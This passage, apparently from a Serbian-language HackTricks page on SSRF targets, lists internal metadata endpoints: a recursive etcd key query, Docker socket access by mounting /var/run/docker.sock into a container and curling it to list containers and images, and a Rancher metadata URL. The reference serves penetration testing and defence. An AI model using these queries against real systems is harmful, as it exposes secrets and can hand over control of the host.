http://127.0.0.1:2379/v2/keys/?recursive=true` ## Docker Docker metapodaci se mogu pristupiti lokalno, sa primerima za preuzimanje informacija o kontejnerima i slikama: - Jednostavan primer za pristup metapodacima kontejnera i slika putem Docker soketa: - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` - Unutar kontejnera, koristite curl sa Docker soketom: - `curl --unix-socket /var/run/docker.sock http://foo/containers/json` - `curl --unix-socket /var/run/docker.sock http://foo/images/json` ## Rancher Rancher-ovi metapodaci se mogu pristupiti koristeći: - `curl http://rancher-metadata//` {{#include ../../banners/hacktricks-training.md}}